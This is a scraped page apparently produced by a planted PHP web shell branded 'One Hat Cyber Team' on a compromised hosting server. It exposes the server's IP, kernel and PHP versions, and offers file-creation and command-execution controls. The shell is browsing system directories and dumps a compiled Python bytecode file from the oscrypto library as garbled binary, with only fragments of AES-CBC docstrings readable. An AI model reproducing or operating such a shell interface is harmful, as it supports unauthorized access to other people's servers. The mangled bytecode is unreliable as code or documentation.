⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.184
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
opt
/
nydus
/
ops
/
oscrypto
/
_openssl
/
__pycache__
/
View File Name :
symmetric.cpython-39.pyc
a ���g�[ � @ s d dl mZmZmZmZ d dlZddlmZ ddlm Z m Z mZmZm Z mZ ddlmZmZmZmZ ddlmZ dd lmZmZ g d �Zdd� Zd d� Zdd� Zdd� Zdd� Zdd� Zdd� Z dd� Z!dd� Z"dd� Z#dd � Z$d!d"� Z%d#d$� Z&d%d&� Z'd'd(� Z(d)d*� Z)dS )+� )�unicode_literals�division�absolute_import�print_functionN� )�pretty_message)�new�null�is_null�buffer_from_bytes�bytes_from_buffer�deref� )� libcrypto�libcrypto_legacy_support�LibcryptoConst�handle_openssl_error)� rand_bytes)� type_name�byte_cls)�aes_cbc_no_padding_decrypt�aes_cbc_no_padding_encrypt�aes_cbc_pkcs7_decrypt�aes_cbc_pkcs7_encrypt�des_cbc_pkcs5_decrypt�des_cbc_pkcs5_encrypt�rc2_cbc_pkcs5_decrypt�rc2_cbc_pkcs5_encrypt�rc4_decrypt�rc4_encrypt�tripledes_cbc_pkcs5_decrypt�tripledes_cbc_pkcs5_encryptc C sj t | �}|std�}nt|�dkr4ttdt|����t|�d dkrVttdt|����|t|| ||d�fS )a� Encrypts plaintext using AES in CBC mode with a 128, 192 or 256 bit key and no padding. This means the ciphertext must be an exact multiple of 16 bytes long. :param key: The encryption key - a byte string either 16, 24 or 32 bytes long :param data: The plaintext - a byte string :param iv: The initialization vector - either a byte string 16-bytes long or None to generate an IV :raises: ValueError - when any of the parameters contain an invalid value TypeError - when any of the parameters are of the wrong type OSError - when an error is returned by OpenSSL :return: A tuple of two byte strings (iv, ciphertext) � �: iv must be 16 bytes long - is %s r zJ data must be a multiple of 16 bytes long - is %s F��_calculate_aes_cipherr �len� ValueErrorr �_encrypt��key�data�iv�cipher� r. �L/opt/nydus/tmp/pip-target-mke_irhy/lib/python/oscrypto/_openssl/symmetric.pyr s ��r c C s6 t | �}t|�dkr&ttdt|����t|| ||d�S )aM Decrypts AES ciphertext in CBC mode using a 128, 192 or 256 bit key and no padding. :param key: The encryption key - a byte string either 16, 24 or 32 bytes long :param data: The ciphertext - a byte string :param iv: The initialization vector - a byte string 16-bytes long :raises: ValueError - when any of the parameters contain an invalid value TypeError - when any of the parameters are of the wrong type OSError - when an error is returned by OpenSSL :return: A byte string of the plaintext r"